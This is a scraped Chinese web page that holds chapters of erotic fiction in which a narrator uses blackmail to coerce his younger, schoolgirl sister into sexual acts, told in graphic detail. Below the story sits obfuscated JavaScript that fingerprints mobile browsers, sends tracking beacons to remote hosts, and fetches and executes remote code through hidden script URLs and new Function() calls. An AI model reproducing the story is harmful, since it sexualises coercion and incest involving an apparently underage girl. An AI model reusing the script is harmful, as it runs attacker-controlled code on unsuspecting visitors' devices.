  我又不自主的将手伸进了裤子里,握住坚硬异常的大肉棒,一边想着妹妹那粉红色身影,一边快速的套动。
  妹妹!妹妹!妹妹……
  我明白了!
  我猛的从床上坐了起来。我一定是爱上妹妹给我手淫的感觉了,那种又软又滑的感觉,实在是其他女人不曾给我的。更重要的是至亲乱伦的感觉,那种心理上的快感更是其他女人不可能给我的。
  可她是我的亲妹妹,上次那幺对她已经是禽兽不如了,怎幺可以继续沈迷在里面呢。
  慾望和理智再一次在我心里做起了激烈的斗争,可长时间没有接触女人,刚才被妹妹撩起的慾望就如同火山爆发一样,不禁肉棒胀的生疼,连身子都变得滚烫起来。
  既然已经有一次了,再来一次又有什幺关係。再说了,手淫又不是性交,怎幺可以说是乱伦呢?小孩子不经常在互相玩弄生殖器吗,这只不过是游戏而已。
  我在心里想了七八个理由,努力的说服自己。理智,早就被我丢到九霄云外去了。
  俗话说,名正言顺,无论多幺大奸大恶的事情,只要给自己一个合理的理由,都可以去做的。古往今来,那些作奸犯科的歹徒,不都是如此幺?
  我走出房间,来到妹妹的屋前,犹豫了片刻,终于还是敌不过慾火中烧的痛苦,轻轻敲了敲她的房门。
  不大会便听到屋内传来一阵脚步声,那个写着老哥与色狼禁止入内的牌子因为开门而轻轻摇晃了起来,我心中不禁一阵苦笑,看来她还真有先见之明,知道我终有一天会化身禽兽的。
  妹妹一张小脸躲在门后,面无表的看着我,冷冷问道:「有什幺事?」
  我尴尬的清了清嗓子,这种事,尤其还是对自己的亲妹妹,真是难以启齿。
  她见我吱吱呜呜了半天也没说出什幺,不耐烦的说:「没事我要关门了。」
  就在她关门的一瞬间,我本能的伸出将右脚卡在了门框上,妹妹一怔,蹙眉问道:「你到底想干什幺?」
  豁出去了,反正也不是第一次了。
  「媛媛跟我说,用手做很便宜的,300元一次。」
  「你……什幺意思?」妹妹玉腮瞬间浮上一抹晕红,面露惧色,连声音都颤抖了起来。
  我微微一笑:「你还欠我一次。」
  妹妹大喊:「你撒谎!媛媛怎幺没跟我说过。」
  「不相信你可以问问她呀,要不然让她来咱们家当面对质,看看她是不是这幺说的。」
  我知道妹妹再也不想跟任何人提起那件事了,就算是媛媛这个始作俑者也是如此。
  她听我这幺一说,脸上果然露出惊讶的表情,生怕我真的叫媛媛来我们家。
  如果让媛媛知道我们两个是亲兄妹的话,恐怕这辈子她都别想再抬起头来了。
  「你……你到底想怎样?」妹妹那冷冰冰的颤音,真是美妙动听,就算出谷黄莺也不过如此。
  我推了推房门,哪知妹妹早有防备,在门那边使劲的顶着,生怕我会进来。
  我是禽兽,又不是强姦犯,破门而入这样的事,还是把不要做了,万一惊动了邻居,那事情可就大条了。
  我笑道:「妮妮,先让我进去,咱们坐下来慢慢聊。」
  「别喊的这幺肉麻!」妮妮是妹妹的乳名,可她却从来不让我这幺喊她。
  「好,我不喊你小名,那你先让哥进去。」我继续哄骗。
  妹妹没那幺容易上当,死活就是不让我进。我见软的不行,乾脆横起来,将手透过门缝伸了进去,板着脸说:「还钱,还我300元钱。」
  「什幺300元钱?」
  「300元一次,我给了你600元,你却只帮我做了一次,赶紧还钱。」
  我知道这个理由是多幺的荒唐可笑,可此时精虫上脑,怎幺可能想得周全。
  妹妹怒道:「你少骗人了,你这大色狼。」
  我乾脆耍起了无赖:「我就是大色狼,你要不还钱我就跟爸妈说去,说你欠我钱不还。到时候爸妈就知道你去援交的事了。」
  「你……你……」妹妹那两只明亮亮的大眼睛睁的圆圆的,咬牙切齿,半天也说不出一句完整话来。
  我趁机柔声劝道:「有第一次了,不在乎有第二次嘛,哥哥现在真的很难受,你帮帮我吧,行不行,还是只用手而已。」
  妹妹一张俏脸羞得通红,气道:「你干什幺不去找媛媛,你不是她的大哥哥幺?」
  「媛媛哪有我妹妹长得这幺可爱。」
  所谓千穿万穿马屁不穿,妹妹没想到我会这幺赤裸裸的称讚她,脸上的表情也缓和了许多,我趁机劝道:「求你了,可爱的好妹妹,就这一次好不好,最后一次。」
  妹妹秀眉紧蹙,闭起眼睛思付了半天,终于怯生生的问道:「真的最后一次?」
  我急忙点头应承:「绝对绝对的最后一次。」
  妹妹又犹豫了片刻,缓缓点头,蚊鸣般的说道:「那好……你发誓。」
  我想也不想便举起右手,信誓旦旦的说道:「这绝对是我最后一次对妹妹提出无理的要求,如果再有下次,天打雷劈,五雷轰顶,让我做我妹一辈子的奴隶。」
  妹妹眉头一蹙,表情厌恶的嗔道:「谁要你做奴隶。噁心。」
  我呵呵傻笑:「行了吧,这下该让我进去了吧。」
  妹妹盯着我瞧了一会儿,身子慢慢的向后退去,将门打开。
  我兴奋的走进了她的房间,心脏扑通扑通的跳个不停,真的比破处那晚还要兴奋、紧张。
  粉红色的墙纸、粉红色的吊灯,粉红色的书桌、粉红色的单人床,妹妹的房间充满了粉红色,就如同她本人一样的娇俏可爱。而且味道淡淡的、香香的,和我那充满浓厚臭味的狗窝,简直就是两个不同的世界。
  我尴尬的坐在地摊上,妹妹伸手将门关住,然后转身走到床边,俏脸通红的坐了下来。
  接下来是一阵死寂般的沈默,我们兄妹两人都不知道该如何打破这种尴尬的气氛。虽然我是精虫上脑、慾火焚身,可真要来的时候,还是会害羞的,毕竟面对的不是妓女和援交妹,她可是自己的亲妹妹呀。
  「咳咳……」我尴尬的可咳了两声,笑道:「你的房间真可爱。」
  妹妹面无表情的盯着我,一脸的厌恶,双腮的却是红红的。我从地上站了起来,说:「那……开始吧?」
  妹妹将脸转向了一旁,既没同意也没反对,算是默许了。瞧着她那副娇羞的俏模样,再加上身上的粉色蕾丝洋装,我更加的兴奋鸡动了。
  我手忙脚乱的将裤子和内裤脱了下来,赤裸裸的挺着肉棒,站在妹妹的面前。
  此时她一张俏脸红的发烫,扭在一旁,两个葱玉般的小手放在膝盖上,慌乱的玩着手指。
  我走到她的跟前,想要坐在床上,妹妹急忙喊道:「别坐我的床,你搬个椅子过来。」
  我知道她怕我弄髒她的床,不过心里也不在乎,转身来到书桌前,搬着椅子来到床边,赤裸着下身坐在了她的面前,而妹妹始终不敢扭头看我一眼。
  我轻咳一声,尴尬的笑道:「开始吧……」
  妹妹的小脸蛋越发羞红的厉害,两只小手慌乱的玩弄着洋装上的绸带,迟迟不肯伸出小手。
  我知道让她主动是很难的,便伸手握住了她的小手,妹妹娇躯微微一颤,小手本能的向后一缩,可却没有挣脱。
  我握着她的小手,放在了我那根又粗又硬还冒着热气的大肉棒上。在小手碰到肉棒的那一瞬间,我看到妹妹好像过电一般,娇躯微微一颤,眉头紧皱,用力的闭上了双眼,眼角似乎渗出了晶莹的泪珠。
  作为哥哥,我原本是应该心疼的,可此时却越发的兴奋起来,加上又软又滑的小手颤颤巍巍的握着我的肉棒,那种爽快感简直要人老命,我不禁闭起眼睛深吸一口气,然后长长的呼了出来,肉棒立时便大了一圈,身子也跟着颤抖起来。
  由于我的肉棒过于粗大,两只纤细的小手一齐用上才勉强可以将其环住。妹妹的小脑袋扭向一旁,身子微微颤抖,隐隐约约可以听到她的抽泣声。我知道这也许真的是最后一次了,所以并不打算草草的射出来。
  我将身子靠在椅背上,享受着妹妹那又白又嫩、又光又滑,又软又润的小手握着肉棒的感觉。妹妹娇嫩的手掌心感着我肉棒的起伏跳动,身子僵硬的坐在床上,不知该如何进行下去。
  我先让她适应了一下,然后握住她那白皙的手背,让她掌心环着我的肉棒,开始上下滑动起来。
  强烈的快感让我的大腿不停的摆动颤抖着,我死死的盯着妹妹那张秀气的可爱的小脸蛋,此时的她穿着那身粉红色的高级蕾丝洋装,就如同高贵的宫廷公主一般。一想起这幺可爱的少女是我的妹妹,而且还在为我手淫,强烈的快感便一浪接着一浪向我袭来。
  「啊……」我不由自主的歎出一口长吟。
  妹妹因为过于紧张,睫毛微微颤抖着,手心里溢满汗水,握着那根又粗又大的肉棒,随着我的动作上下套动。过了一会儿,我悄悄的将手放开,不知道妹妹是过于紧张没有发现,还是因为惯性原因,她那又白又嫩的小手握着我的肉棒,竟然自己下上套动起来。
  我像是一个得胜的将军一样,得意洋洋的靠在椅子上,双手抱在脑后,享受着妹妹给我的服务。我想此时脸上的表情一定淫蕩极了,还好妹妹的俏脸转向一旁,而且紧闭双眼,不然她一定会气疯的。
  可惜美好的时光永远是那幺短暂,妹妹终于还是反应过来了,匆忙将两只可爱的小手缩了回去,我想要阻止时已经晚了。
  她为自己的行为而感到羞耻,睁开双眼,咬牙切齿的瞪着我,我装作无辜的样子,笑道:「怎幺了?快点呀,马上就好了。」
  妹妹两只小手握在胸前,狠狠的瞪着我看,说什幺也不再将手伸出来了。我无奈的坐在椅子上,上膛的子弹眼看就要发射出来,可却戛然而止,这种感觉别提多难受了。
  我左哄右骗,甜言蜜语说了个遍,可她始终盯着我一言不发,也不将手伸出来。可箭在弦上,总不能让我自己解决吧……
  房间里又是一阵死寂,我们兄妹两人瞪着对方,谁也没说话。
  「妮妮。」
  「别喊得这幺肉麻!」
  「你还记得小时候吗?」
  妹妹一怔,表情竟然舒缓了许多。
  「我们小时候一起洗澡的时候,你不是好奇的问过,我们两个的下面为什幺不一样吗?」
  妹妹不知道我为什幺会提到这件事,而且显然她是记得这件事的,双腮一抹飞红,表情冷淡,一言不发。
  「我那时候对你说,因为女生上边比男生大,所以男生下边就比女生多出一根东西。呵呵,其实我是骗你的。」
  妹妹还是一言不发的盯着我看,就算我不说这些,她现在也知道我那时是胡说八道的。
  「你那时候还对说,哥哥下面的棒棒好可爱,好像玉米条一样。我说那你将它吃了吧……」
  我话刚说一半,妹妹便打断了我:「你到底想说什幺?」
  我笑了笑:「其实那时候你已经摸过哥哥这根棒子了,就好像在做游戏一样,没什幺大不了的。来,把手给哥哥。」
  妹妹像只受了惊的小兔子一样,警惕的盯着我伸出来的大手,依然迟迟不肯就範。无奈,我只能继续哄骗。
  「你难道不想看看哥哥的棒子现在变成什幺样了吗?」
  妹妹不知道是受了我话语的影响,还是处于本能的好奇,竟然真的得头向下望了一眼。当她目光触及那根粗硬异常的大肉棒时,俏脸瞬间变得通红,急忙转向一旁。
  我趁机抓住她的小手,使劲拽了过来,妹妹挣扎了几下,知道自己难逃厄运,便不再挣扎了。
  我将她的小手重新握在了肉棒上,这次接受了教训,不敢再放肆了,缓缓的上下环动,劲儿也不敢多使。
  轻轻套动了一会儿,我偷偷瞧了一眼妹妹,见她双眼紧闭,一脸的娇羞恐惧,胆子便壮了起来,速度力道渐渐加大,还不时将她那纤细的手指放在肿胀发紫的龟头上,让指尖在溢出晶莹液体的马眼上,轻轻按动两下。
  速度越来越快,快感也越来越强烈,一股过电般的酥麻感从背后生出,肉棒瞬间胀大,就在即将发射的时候,妹妹突然反应了过来,闭着眼睛喊道:「别弄髒我的衣服。」
  可惜为时已晚,她的话音刚落,一股股又浓又腥的精液自马眼喷出,射的那身粉红色的蕾丝洋装上到处都是,就连那张娇羞的小脸蛋也不能倖免于难。
  等我发射完毕之后,才将她的小手放开。妹妹睁开双眼,看到洋装上的精液,眉头紧皱,小嘴圆张,一副难以置信的表情,片刻后一声尖叫,将我连人带椅子推倒在地。
  之后,我被无情的赶了出来,妹妹窝在屋里一天一夜,任谁敲门也不打开。
  我知道这次是有点过分了,那件洋装可是妹妹的宝,竟然被我的精液给弄髒了,她一定恨我恨得要死。
  哎,以后再想求她帮忙,真是难上加难了。

正文 第四章

       自从妹妹再次帮手手淫之后,我那几乎变态的相思病非但没有治好,反而越来越严重了。上班时想着妹妹,回到家盼着妹妹,只要见到妹妹我的心就扑通扑通的跳个不停,见不到妹妹就心烦意乱,坐立不安。我彷彿毒瘾君子一样,泥足深陷,越陷越深。
  妹妹原本就不大理我,自从被我弄髒了那件洋装之后,就更加冷淡了,从我身边经过时连看都不看我一眼。
  这种情况一直维持了半个月,我知道我快要坚持不住了……
  一家人吃完了晚饭,老爸和老妈说要出去散步,让我们兄妹两人收拾餐桌。
  我听了之后心中一阵激动,已经很久没有和妹妹单独相处了。可惜的是,老爸老妈携手出去之后,妹妹转身便回到了自己的房间,留下我一个人在餐厅里收拾。
  我的心中感到一阵落寞,魂不守舍的洗着碗筷。
  没多大一会儿,妹妹又从楼上下来了,我心中一喜,以为她良心发现要来帮忙,谁知她却进了卫生间。
  完全收拾乾净已经是十分钟之后的事情了,当我坐在客厅沙发上的时候,才突然意识到,妹妹好像还没从卫生间出来。
  难道……她在洗澡?
  濛濛水汽之中,妹妹臻首低垂,手挽长髮,晶莹的水珠顺着娇嫩的皮肤向下滑落,雪白的肌肤如同凝脂一般的润泽,胸前那两粒可爱的小乳头就好像雨中的玫瑰一般娇艳……
  一想起这些我的肉棒便不由自主的硬了起来,半个月没有发洩的我终于还是抵挡不住慾望的侵蚀,不由自主的站起身来,蹑手蹑脚的向卫生间走了过去。
  透过门上那扇充满水汽的毛玻璃,隐约可以听到里面传来淋浴的声音。妹妹就在里面,我真的很想破门而入,可是我不能这幺做。
  我焦躁不安的在浴室门口来回踱步,不时的趴在门边仔细寻找着是否有个小孔可以偷窥到里面的美景,可惜的是这扇门实在造的太好了,哪怕是一条缝隙都找不到。
  当我心灰意冷,準备放弃的时候,突然发现旁边的洗衣篮里放着一团衣服,那不正是妹妹刚才穿的衣服幺?
  我的心扑通一跳,伸手拿起了其中一件,展开一看,是妹妹的制服裙子。我迫不及待的将脸埋在了裙子上,深深的嗅了一口,一股淡淡的幽兰香气扑鼻而来,脑中想的全是妹妹身穿水手制服的娇俏身影。
  过了一会儿,我将裙子放回篮子里,颤颤巍巍的拿起了一条粉红色的胸罩。
  可爱的胸罩中间绑着一个蝴蝶结,想起她刚刚覆盖在妹妹娇小可爱的乳房上,我的心就扑通扑通的跳个不停,放在鼻子前深深嗅了一口,上面充满了处女特有的体香,清香怡人,浑身上下说不出的通畅舒透,比之任何药剂都还要提神醒脑。
  把玩了一会儿胸罩之后,我将她重新放了回去,继续翻找看看还能不能找到什幺更加珍贵的宝贝。
  皇天不负有心人,一件粉白色的小熊内裤被我给翻了出来,我迫不及待的将她捂在鼻子上,贪婪的嗅着。味道淡淡的,少女的体香之中混合着洗衣粉的清香,想来应该是她刚刚换上的吧。
  我将小内裤捂在鼻子上,不捨得放下来,伸手在洗衣篮里继续翻找,几下又找出一条带蕾丝花边的白色短袜,情不自禁的握在手里使劲揉搓两下,脑子里想像着妹妹那双晶莹可爱、白里透红的小脚丫被我握在掌心任意把玩的画面。
  我终于忍受不住了,伸手拉快裤子上的拉链,把已经又粗又硬的肉棒掏了出来,然后将妹妹那条蕾丝花边的白色短袜套在肉棒上,使劲的套动起来。
  鼻子里嗅着妹妹内裤的味道,耳边传来妹妹洗澡的声音,肉棒上套着妹妹的短袜飞快的套动,几重快感叠加在一起,原本就在崩溃边缘的我,没几下便感到背后一阵酥麻,肉棒一阵膨胀,一股股浓稠的精液猛的射了出来。
  发洩之后,脑子里一片混乱。我不清楚自己为何会这幺变态,竟然拿着妹妹的衣服手淫。
  这是,卫生间内的水声戛然而止,我看着那条沾满了乳白色精液的白色短袜,心知不妙,急忙将内裤放了回去,然后翻找一阵,拿起另外一条短袜,一起收进了口袋里。
  我匆忙回到了客厅里,坐在沙发上打开电视,装出一副悠哉的模样。没一会儿便传来卫生间门打开的声音,我的心剧烈的跳动着。
  又过一会儿,妹妹穿着早已準备好的睡衣从里面走了出来,走到楼梯口突然停了下来,转身向我望来,犹豫了一下走到了我的跟前。我扭过头来,装出一副疑惑的表情,妹妹冷着一张小脸,瞪着我看了一会儿,樱唇轻张几下,却没说出话来,小脸蛋一阵红一阵白,最后转身向楼上跑去。
  我望着妹妹那双晶莹玉足,每走一步便会轻轻抬起离开拖鞋,露出凝白透红的足心,真是又晶莹又可爱,让人情不自禁的想要将她搂在怀里细细把玩一番。
  妹妹进了房间之后就再也没出来,看她刚才的表情和反应,肯定知道那双白色短袜是被我藏起来了。
  半夜里我躺在床上,双手紧紧攥着那只乾净清香的白色短袜,放在鼻子前不停的嗅着,脑子里一遍一遍的想着妹妹的身影。
  我就像个怀春期的懵懂少年一样,小心翼翼的留意着妹妹的一举一动,她的每一个表情,她的每一句话,甚至她每一个细微的动作。可我也能感觉出来,我越是这样妹妹就越是讨厌我。
  我在忐忑中度过了生命中最煎熬的半个月,又到了发薪水的日子,拿了钱却没心思再去消费了,我的心里只有妹妹一个人,其他女人的女人,哪怕就是仙女下凡,在我眼中也不过是浮云而已。
  发薪水的第二天,我特意请了个假,拿着这几天从网上收集到的资料,来到了baby的专营店。
  当我进到店里时,就好像走进了童话世界的糖果屋一样,装潢格调十分可爱,中间的墙上是一个巨大的粉红色桃心,两边的几个人体模特上穿着可爱的洋装,柜檯前则摆着一些可爱的小饰品。
  我尴尬的在店里转了两圈,一个女店员走了过来,她的穿着打扮跟妹妹差不多,可是气质就差好多了,同样的衣服穿在妹妹身上是可爱,穿在她的身上就是做作。
  「先生,给女朋友买礼物吗?」
  「不是,我是……」我话说一半突然改口:「对,我想送女朋友生日礼物。」
  女店员微笑着问道:「那您的女朋友身高大概多少?」
  「大概1米5多一点吧。」我用手比了一下。
  女店员夸张的笑道:「哇,好小哦。」她转过身去,若有所思的对着店里的衣服扫视了一圈,最后拿起一件红色连衣裙,对我说:「这件怎幺样?我想一定很适合您女朋友的身形。」
  说真的我不懂这些,只是装作很认真的看了一会儿,说:「有没有粉红色的洋装?」女店员笑道:「粉红色的啊,当然有。不过粉红色可是很看人气质的。」
  这不用你操心了,妹妹已经是我见过最适合粉红色的女孩子了。
  她拿出两件粉红色洋装对我说:「这两件怎幺样?很不错的。」我看了一下,衣服很漂亮,可好像和妹妹平时穿的那些洋装有些不同,至于有什幺不同我一时也说不出来。便从口袋里掏出一张照片,说:「这件衣服是您店里的吗?」
  这张照片便是妹妹上个月买的那件高级洋装,我悄悄的从她那里偷出来的。
  店员看了一眼照片上的洋装,惊道:「啊,原来是这件衣服,这是我们店特别设计的一件衣服,不过上个月已经卖出去了。嗯,那个女生经常光顾我们店,说起来她的个子也很小,和您女朋友差不多。」
  不知道告诉她那件衣服是被我妹妹买去的,而且上面还沾了我的精液,她会有什幺反应?
  「你给我找一件和照片上差不多的衣服吧。」
  「原来您的女朋友也喜欢这件洋装。」
  不一会儿,店员便拿出一件粉红色的洋装,我看了一下,真的和照片上的衣服差不多,难道这也是特别设计的吗?再一看标籤上的价格,1900元……
  虽然我已经做好了充足的心理準备,可还是险些瘫软在地。我从小到大、从上到下,没一件衣服超过200元的,这件洋装竟然要1900元。
  心疼归心疼,我还是咬牙将它买了下来,看着女店员一副笑不拢嘴的模样,我有有种上当受骗的感觉。
  回到家之后,我悄悄的将包装好的盒子藏了起来,只等妹妹放学回家。
  时间一分一秒的过去了,在焦急等待之时,终于传来了房门打开的声音。我迫不及待的从沙发上站了起来,快步走到了玄关,只见一身水手制服的妹妹弯着腰脱下自己的小皮鞋,拿出拖鞋正準备换上。
  她感到了我的存在,停止了动作,扭过头来,冷冷的望着我。我傻呵呵的对她笑了笑,刚想说话,她却迅速换上拖鞋,一把将我推开,快步向楼上走去。
  我好似被浇了一头冷水,笑容僵硬的站在玄关处,半天才缓过神来,回到客厅,一屁股坐在了沙发上。
  直到老妈做好了晚饭,她才缓缓的从楼上走下来。一家人围在餐桌前,我不时的用余光偷偷瞧着妹妹,只见她冷着一张小脸,一言不发的吃着晚饭,老爸老妈却像往常一样有说有笑,丝毫没有察觉到气氛的诡异。
  该如何将礼物送给她呢?
  吃过了晚饭,妹妹便回到了自己的房间,我拿着盒子踱来踱去,最后来到她的屋前,轻轻敲了敲门。
  里面没有任何动静,我又敲了敲门,还是没有反应,我乾脆使出了必杀绝技,密集式连环敲门法。这一招果然不同凡响,在我的连续敲击之下,里面传出一阵急促的脚步声,紧接着屋门打开,只见妹妹鼓着腮帮子,气哼哼的喊道:「你是不是有病呀,到底想干什幺?」
  我咧嘴一笑,将那个包装精緻的礼盒递了过去,说:「上次弄髒了你的衣服,真对不起,这是我特意从baby买来赔你的,可花了我1900个大洋。」
  妹妹低头望了一眼我手中的礼盒,又抬头瞧了一眼我的笑脸,砰的一声将门摔住。
  我双手捧着精美的礼盒,尴尬的站在走廊里,笑容僵硬彷彿石化一般。过了好大一会儿才回到了现实之中,刚要转身离开,屋门却突然打开,妹妹伸手夺过礼盒,冲我冷哼一声,然后再次将门摔住。
  我望着悬在半空的两只手,愣了半天,不禁笑了出来。结局还算不坏,起码没有浪费我那1900个大洋。
  一件洋装并没有让妹妹对我的态度转变多少,往常见了面还是对我不理不睬,而且自从那次偷偷拿了她一双白色短袜之后,她再也不会将换洗的衣服随意乱放了。
  时间不知不觉的又过了一个月,我拿到薪水之后,马上跑到baby店,再次买了一件粉红色的洋装,让店员帮我包装好了之后,兴奋的回到了家里。
  当妹妹看到我手里的礼盒之后,二话没说将她夺了过来,然后狠狠的摔住了屋门。虽然她依然没有对我说任何话,不过我已经很满意啦。
  从此以后,我最盼望的便是发薪水的日子,每次发了薪水,我都会去baby买一件洋装送给妹妹,虽然她会接受,但却从来没见她穿过。
  我彷彿又回到了学生时代,一想起自己的妹妹,心里便会扑通扑通

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < 